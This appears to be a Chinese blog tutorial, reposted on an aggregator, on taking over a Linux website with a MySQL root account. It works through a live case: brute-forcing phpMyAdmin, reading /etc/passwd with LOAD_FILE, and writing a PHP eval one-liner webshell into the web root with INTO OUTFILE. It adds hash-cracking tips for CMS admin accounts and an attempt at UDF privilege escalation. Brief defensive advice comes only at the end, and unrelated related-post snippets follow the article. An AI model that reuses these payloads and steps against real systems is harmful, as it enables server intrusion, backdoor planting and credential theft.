利用Mysql root帐号获取某Linux操作系统网站webshell

news/2024/5/19 21:31:43/文章来源:https://blog.csdn.net/weixin_44023460/article/details/84898938

利用Mysql root帐号获取某Linux操作系统网站webshell
simeon
获取Webshell,网上有很多文章,本文是phpMyAdmin漏洞利用与防范专题中的一个研究课题,其主要环境是在有Mysql数据库root帐号密码权限的基础下,如何通过技术手段获取Linux操作系统上建立的网站系统的webshell权限。
1.漏洞利用思路
1.1Mysql root帐号密码获取思路
(1)通过代码泄露获取网站源代码中的数据库配置文件,从而获取root帐号和密码。
(2)暴力破解,可以通过不同的字典对单个IP或者多个URL进行暴力破解,有关这个技术的实现细节和案例,请参考专题文章《暴力破解phpMyAdmin root帐号密码》。
(3)其它方式获取。例如通过社工邮件帐号,在邮件中会保存。
1.2获取网站的真实路径思路
(1)最直接获取网站真实路劲的是通过phpinfo.php也即phpinfo()函数,在其页面中会显示网站的真实物理路径。
(2)通过页面出错来获取。有些代码文件直接访问时会报错,其中会包含真实的物理路径。
(3)通过mysql load_file函数读取配置文件。其中读取非常有用的配置文件总结如下:
SELECT LOAD_FILE(’/etc/passwd’ )
/etc/passwd文件会提示网站的真实路径,然后通过读取网站默认的index.php等文件来判断是否是网站的真实目录和文件。
SELECT LOAD_FILE(’/etc/passwd’ )
SELECT LOAD_FILE(’/etc/issues’ )
SELECT LOAD_FILE(’/etc/etc/rc.local’ )
SELECT LOAD_FILE(’/usr/local/apache/conf/httpd.conf’ )
SELECT LOAD_FILE(’/etc/nginx/nginx.conf’ )
1.3获取webshell思路
1.webshell直接通过mysql查询导出,常用的语句如下:
代码利用方式一:
CREATE TABLE mysql.darkmoon (darkmoon1 TEXT NOT NULL );
INSERT INTO mysql.darkmoon (darkmoon1 ) VALUES (’<?php @eval($_POST[pass]);?>’);
SELECT darkmoon1 FROM darkmoon INTO OUTFILE ‘d:/www/antian365.php’;
DROP TABLE IF EXISTS darkmoon;
代码利用方式二:
select ‘<?php @eval($_POST[pass]);?>‘INTO OUTFILE ‘d:/www/antian365.php’
2.通过phpmyadmin在线查看各CMS系统的管理员帐号,如果管理员密码是加密的则需要进行解密。然后通过寻找管理后台,利用可以获取webshell的方法和漏洞来获取。
技巧:
(1)dedecms系统的密码有直接md5,也有20位的密码,如果是20位的密码则需要去掉密码中的前3位和最后1位,然后对剩余的值进行md5解密即可;
(2)phpcms v9版本的密码需要加salt进行破解,需要选择破解算法md5(md5(pass).pass).pass).salt)进行破解。
(3)Discuz!论坛帐号保存在uc_member表中,其破解需要带salt进行,其破解时是使用password:salt进行,例如a0513df9929afc972f024fa4e586e829:399793。
2.漏洞利用实战
2.1获取root密码
通过暴力破解phpmyadmin工具获取了某IP的root帐号密码root,暴力破解有一定的局限性,但也是攻击的手段之一。
2.2扫描端口开放情况
使用Nmap对该IP地址进行全端口扫描,查看端口开放情况。如图1所示,开放了21、22、80和8080端口。22是ssh端口,80和8080可能是web端口,服务器是linux操作系统。
在这里插入图片描述
图1获取端口开放信息
2.3获取真实路径
2.3.1读取配置文件
使用获取的root帐号和密码通过phpMyAdmin登录mysql数据库进行管理,如图2所示,登录系统后,选择菜单上的“SQL”,在查询框中输入“SELECT LOAD_FILE(’/etc/passwd’ )”进行查询。
在这里插入图片描述
图2读取配置文件
在使用load_file函数读取文件内容时,在Windows环境中可能会显示正常的文件内容,在linux环境中显示的是16进制编码,单击选项对其进行设置,需要选择“完整内容”、“显示二进制内容”、“显示BLOB内容”、“以十六进制显示二进制内容”,如图3所示。
在这里插入图片描述
图3设置显示选项
选中查询结果中的十六进制代码,将其复制到记事本中并保存,其内容如下:
726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a62696e3a783a313a313a62696e3a2f62696e3a2f7362696e2f6e6f6c6f67696e0a6461656d6f6e3a783a323a323a6461656d6f6e3a2f7362696e3a2f7362696e2f6e6f6c6f67696e0a61646d3a783a333a343a61646d3a2f7661722f61646d3a2f7362696e2f6e6f6c6f67696e0a6c703a783a343a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7362696e2f6e6f6c6f67696e0a73796e633a783a353a303a73796e633a2f7362696e3a2f62696e2f73796e630a73687574646f776e3a783a363a303a73687574646f776e3a2f7362696e3a2f7362696e2f73687574646f776e0a68616c743a783a373a303a68616c743a2f7362696e3a2f7362696e2f68616c740a6d61696c3a783a383a31323a6d61696c3a2f7661722f73706f6f6c2f6d61696c3a2f7362696e2f6e6f6c6f67696e0a757563703a783a31303a31343a757563703a2f7661722f73706f6f6c2f757563703a2f7362696e2f6e6f6c6f67696e0a6f70657261746f723a783a31313a303a6f70657261746f723a2f726f6f743a2f7362696e2f6e6f6c6f67696e0a67616d65733a783a31323a3130303a67616d65733a2f7573722f67616d65733a2f7362696e2f6e6f6c6f67696e0a676f706865723a783a31333a33303a676f706865723a2f7661722f676f706865723a2f7362696e2f6e6f6c6f67696e0a6674703a783a31343a35303a46545020557365723a2f7661722f6674703a2f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a39393a39393a4e6f626f64793a2f3a2f7362696e2f6e6f6c6f67696e0a646275733a783a38313a38313a53797374656d206d657373616765206275733a2f3a2f7362696e2f6e6f6c6f67696e0a766373613a783a36393a36393a7669727475616c20636f6e736f6c65206d656d6f7279206f776e65723a2f6465763a2f7362696e2f6e6f6c6f67696e0a616272743a783a3137333a3137333a3a2f6574632f616272743a2f7362696e2f6e6f6c6f67696e0a68616c6461656d6f6e3a783a36383a36383a48414c206461656d6f6e3a2f3a2f7362696e2f6e6f6c6f67696e0a6e74703a783a33383a33383a3a2f6574632f6e74703a2f7362696e2f6e6f6c6f67696e0a7361736c617574683a783a3439393a37363a225361736c61757468642075736572223a2f7661722f656d7074792f7361736c617574683a2f7362696e2f6e6f6c6f67696e0a706f73746669783a783a38393a38393a3a2f7661722f73706f6f6c2f706f73746669783a2f7362696e2f6e6f6c6f67696e0a737368643a783a37343a37343a50726976696c6567652d736570617261746564205353483a2f7661722f656d7074792f737368643a2f7362696e2f6e6f6c6f67696e0a74637064756d703a783a37323a37323a3a2f3a2f7362696e2f6e6f6c6f67696e0a6e7363643a783a32383a32383a4e534344204461656d6f6e3a2f3a2f7362696e2f6e6f6c6f67696e0a6e736c63643a783a36353a35353a4c44415020436c69656e7420557365723a2f3a2f7362696e2f6e6f6c6f67696e0a6e67696e783a783a3439383a3439373a4e67696e7820776562207365727665723a2f7661722f6c69622f6e67696e783a2f7362696e2f6e6f6c6f67696e0a6170616368653a783a34383a34383a4170616368653a2f7661722f7777773a2f7362696e2f6e6f6c6f67696e0a6d7973716c3a783a32373a32373a4d7953514c205365727665723a2f7661722f6c69622f6d7973716c3a2f62696e2f626173680a66747075736572313a783a3530303a3530303a3a2f686f6d652f66747075736572313a2f7362696e2f6e6f6c6f67696e0a66747075736572323a783a3530313a3530313a3a2f6d79646174613a2f7362696e2f6e6f6c6f67696e0a667470757365723a783a3530323a3530323a3a2f7573722f73686172652f6e67696e782f68746d6c3a2f7362696e2f6e6f6c6f67696e0a
使用NotePad将将以上代码全部选中,然后选择插件“Converter”-“HEX-ASCII”,如图4所示。转换后则会显示正常的文件内容,如图5所示,显示的是linux的配置文件/etc/passwd的内容。

在这里插入图片描述
图4转换代码
在这里插入图片描述
图5读取etc/passwd文件内容
将etc/passwd文件的最后5行复制下来进行分析:
nginx❌498:497:Nginx web server:/var/lib/nginx:/sbin/nologin
apache❌48:48:Apache:/var/www:/sbin/nologin
mysql❌27:27:MySQL Server:/var/lib/mysql:/bin/bash
ftpuser1❌500:500::/home/ftpuser1:/sbin/nologin
ftpuser2❌501:501::/mydata:/sbin/nologin
ftpuser❌502:502::/usr/share/nginx/html:/sbin/nologin
在开始的时候,我分别读取/var/www/index.php、/mydata/index.php和/usr/share/nginx/html/index.php读取的内容都跟实际网站内容不一致,唯独漏过了/home/ftpuser1/index.php,后面分别读取了其nginx的配置文件,还是没有获取真实路径,后面经群里兄弟提醒,其真实路径就是/home/ftpuser1/目录。
通过select load_file(’/home/ftpuser1/index.php’)读取文件内容,如图6所示,成功获取网站首页代码内容找到真实目录。
在这里插入图片描述
图6读取网站首页代码内容
2.3.2获取webshell
在SQL中执行查询命令:
select ’<?php @eval($_POST[pass]);?> 'INTO OUTFILE ‘/home/ftpuser1/xxp.php’
查询成功,成功将一句话后门写入网站目录/home/ftpuser1下,如图7所示,Mysql查询结果显示为空,表示成功,如果无权限,则会提示无法写入文件错误。
在这里插入图片描述
图7写入一句话后面到网站文件
使用中国菜单一句话后门管理工具,直接连接,成功获取webshell,如图8所示。
在这里插入图片描述
图8成功获取webshell
2.4服务器提权
2.4.1获取操作系统位数命令
(1)getconf LONG_BIT 值为32就是32位操作系统,值为64则表示为64位操作系统
(2)file /sbin/init 如下内容显示为64位操作系统
/sbin/init: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped
2.4.2查询插件位置
select @@plugin_dir; 显示结果为/usr/lib64/mysql/plugin,如图9所示。
在这里插入图片描述
图9获取mysql插件路径
2.4.3上传udf文件
将sqlmap下对应版本的lib_mysqludf_sys.so_ 文件上传到/usr/lib64/mysql/plugin目录,一般来说只有使用root权限的mysql可以利用udf提权。在本例中由于/usr/lib64/mysql/plugin设置为root权限,无法导入系统。因此提权失败。
3.防范方法
(1)使用phpinfo来查看环境变量后,尽量在用后及时将其删除,避免泄露真实路径。
(2)使用Lamp架构安装时,需要修改其默认root帐号对应的弱口令密码root。以及admin/wdlinux.cn。
(3)LAMP集成了proftpd,默认用户是nobody,密码是lamp,安装完成后也需要修改。
(4)如果不是经常使用或者必须使用phpMyadmin,则在安装完成后可删除。
(5)严格目录写权限,除文件上传目录允许写权限外,其它文件及其目录在完成配置后将其禁止写权限,并在上传目录去掉执行权限。
更多攻防内容请欢迎访问本人在csdn上面创造的个人专栏:
《密码安全攻防技术精讲》:https://gitbook.cn/gitchat/column/5afbf24f753289354cab7983

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_823095.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

对某网站被挂黑广告源头分析

1.1对某网站被挂黑广告源头分析 任何的攻击都会留下痕迹,通过日志分析来发现漏洞,发现入侵的途径和路径,为漏洞分析和攻击溯源提供支持。在本案例中通过对日志文件的分析,成功获取后台地址,获取进入者的IP地址等信息。 1.1.1事件介绍 1.公司主站及其它站点被挂广告 某日晚…

对某入侵网站的一次快速处理

1.1对某入侵网站的一次快速处理 simeon 1.1.1入侵情况分析 凌晨1点,接到朋友的求助,网站被黑了,访问网站首页会自动定向到一个赌博网站,这个时间点都是该进入梦乡的时间,可是国家正在开会,这个时间点的事情都比较敏感,没有办法,直接开干吧。 1.查看首页代码 通过查看首…

4.公司网站被入侵——弱口令账号惹的祸

4.1公司网站被入侵——弱口令账号惹的祸 一些公司公司其内部网络跟web服务器直接相连,虽然在出口做了安全限制,仅仅允许80端口对外进行连接,但如果提供web服务的站点存在安全隐患,通过渗透,获取webshell,通过webshell提权,通过代理程序直接穿透内网,进而控制整个域控和…

网站服务器出现的链接错误,网站页面出现死链是哪些原因导致的?

网站死链大家都知道对于网站有较大的影响&#xff0c;一个站点存在着过多的死链是可能会导致网站降权&#xff0c;严重还会被K站&#xff0c;所以网站必须减少死链接情况出现。死链接是开始有效网站&#xff0c;过一段时间成为无效网站。到底哪些情况&#xff0c;导致死链接的出…

腾讯云服务器文件怎么恢复吗,实战腾讯云镜像备份恢复云服务器实例提取网站数据文件...

本来这个问题是准备今天操作的&#xff0c;但是担心今天要陪伴孩子出去玩&#xff0c;所以就在昨天晚上给客户搞定。这个网友的问题是服务器到期&#xff0c;然后找腾讯云客服备份镜像&#xff0c;但是他服务器已经到期删除&#xff0c;但是镜像好在还在的&#xff0c;所以我准…

python网站服务器面板,宝塔面板Python项目管理器部署flask

使用宝塔面板中的python项目管理器部署flask项目。最近想写一个工具箱的网站&#xff0c;之前使用的是PHP语言开发的&#xff0c;有一些功能是通过PHP无法实现的。在我的博客的第二个版本中就把开放平台功能模块关闭啦&#xff01;目前在使用flask框架在构建新的应用&#xff0…

PHP网站总是打印错误信息,PHP错误报告和错误信息设置详解_php

在php网站开发中&#xff0c;错误(Bugs)调试和解决是必不可少的部分&#xff0c;在网站调试阶段&#xff0c;错误信息能给我们很大帮助&#xff0c;当网站上线之后&#xff0c;我们是否也应该将原始的错误信息展示在用户面前呢&#xff1f;答案是否定的&#xff0c;为了提高用户…

Tomcat的下载及网站介绍初步测试

Tomcat下载地址 下载地址&#xff1a;https://tomcat.apache.org/ 下载完成后&#xff0c;解压压缩包&#xff1a; 文件夹信息 在bin目录下&#xff0c;startup.bat是运行tomcat、shutdown.bat是停止运行tomcat 测试tomcat 开启tomcat 双击startup.bat 会弹出&#xff1a…

怎么判断按摩店有服务_广州SEO外包服务推广哪里可以找到?怎么判断好不好?...

说到竞争压力大&#xff0c;网络营销一点都不会比线下轻&#xff0c;因为足不出户的消费习惯已成为了广大用户的习惯了。所以&#xff0c;随着移动互联网的迅速发展&#xff0c;企业需要使用有效的方法把自身的产品推广出去。而SEO推广是一种很不错的方法&#xff0c;因为它是一…

大规模网站架构的缓存机制和几何分形学

缓存机制在我们的实际研发工作中&#xff0c;被极其广泛地应用&#xff0c;通过这些缓存机制来提升系统交互的效率。简单的总结来说&#xff0c;就是在两个环节或者系统之间&#xff0c;会引入一个cache/buffer做为提升整体效率的角色。 而 有趣的是&#xff0c;这种缓存机制令…

分分钟在自己电脑上建一个视频网站,收费电影随便看,还没广告!

声明iker干货 本文仅作为技术文章&#xff0c;不鼓励不诱导用户观看盗版视频。第一步分分钟在自己电脑上建一个视频网站&#xff0c;收费电影随便看&#xff0c;还没广告&#xff01;第二步安装好软件后先切换环境&#xff0c;推荐使用 PHP 7.0.12 Apache&#xff0c;&#xf…

你需要但是找不到的网站,其实不太想分享,有你想要想收藏的

今天iker分享给大家几个平时十分需要的网站&#xff0c;如果对你有帮助麻烦点赞关注一下哦&#xff0c;谢谢了。1、Goimg.io这是一个图片压缩在线网站&#xff0c;当你在上传图片时可能会遇到图片文件太大的问题&#xff0c;这时这个网站就派上用场了。网站链接https://goimg.i…

6个在线制作海报的网站,一分钟搞定一张海报!

Fotojethttps://www.fotojet.com/cn/features/poster/FotoJet提供大量的富有设计感的海报模板&#xff0c;从音乐主题到时尚主题应有尽有。你可以选择喜欢的模板&#xff0c;再结合自己的想法&#xff0c;DIY完成你的海报。即使没有任何设计经验&#xff0c;你也可以设计出高水…

百度二级网页打不开_百度快照合理利用与网站网页制作的技巧

合理利用百度引擎进行网站宣传&#xff0c;这是网络时代企业网站发展的必要形式。目前百度搜索的排名&#xff0c;是宣传的核心与重点。而网站的整体布局&#xff0c;要追求有更好的宣传目的&#xff0c;就成为有效利用搜索引擎&#xff0c;提高网站流量的方法。当然让客户可能…

手机网站开发(WAP网站)第一篇

现在的互联网&#xff0c;可以说是名副其实的移动互联网。大家不仅可以利用无线网卡随处随地上网&#xff0c;还可以直接利用手机浏览网页、下载文件&#xff0c;而且现在的无线运营商也正在大力发展无线网络、扩展手机上网带宽。 于是&#xff0c;手机网页的制作需求也变多…

建材安装php源码,PHP响应式瓷砖大理石建材企业网站整站源码(自适应手机移动端) dedecms内核...

【温馨提示】源码包解压密码&#xff1a;www.youhutong.com资源描述PHP响应式瓷砖大理石建材企业网站整站源码(自适应手机移动端) dedecms内核源码介绍&#xff1a;采用织梦最新内核开发的模板&#xff0c;该模板企业通用、瓷砖、大理石、建材类企业都可使用。响应式自适应各种…

seo如何优化文章-知识交流_【SEO优化】网站SEO该如何优化

点击蓝字关注我哦当今的网络时代&#xff0c;酒香不怕巷子深的经营理念早已过时&#xff0c;SEO比任何时候都更重要。鉴于SEO对企业来说如此重要&#xff0c;那么具体该如何优化网站SEO呢&#xff1f;本文分别从关键词选择&#xff0c;原创文章&#xff0c;内页优化&#xff0c…

英文商城网站前端代码_门户网站关键词优化外包前端网站页面优化公司企业网站优化排名织梦网站优化霸屏商城网站推广优化现在网站seo推广优化google...

门户网站关键词优化外包前端网站页面优化公司企业网站优化排名织梦网站优化霸屏商城网站推广优化现在网站seo推广优化google门户网站关键词优化外包前端网站页面优化公司企业网站优化排名织梦网站优化霸屏商城网站推广优化现在网站seo推广优化google门户网站关键词优化外包前端…

爬取场库网站遇到的问题

采用解析网页源码的方式 然后通过xpath表达式去匹配视频的信息&#xff1a;标题、作者、图片的url、视频的url、评分、视频简介、点赞数、评论数、标签、类型。 我在匹配这些信息时遇到两大问题&#xff1a; 第一个问题&#xff1a;获取到网页源码之后&#xff0c;根本找不到…

BODY background=自适应大小_1分钟了解自适应网站的9个好处

大家好&#xff0c;我是长春大鱼&#xff0c;从事网络服务行业已有7年&#xff0c;今天我来分享下自适应网站有哪些优点,下面我们花一分钟时间&#xff0c;了解下自适应网站的9个好处。什么是自适应网站&#xff1f;自适应网站也叫响应式网站&#xff0c;自适应指的是网页可以自…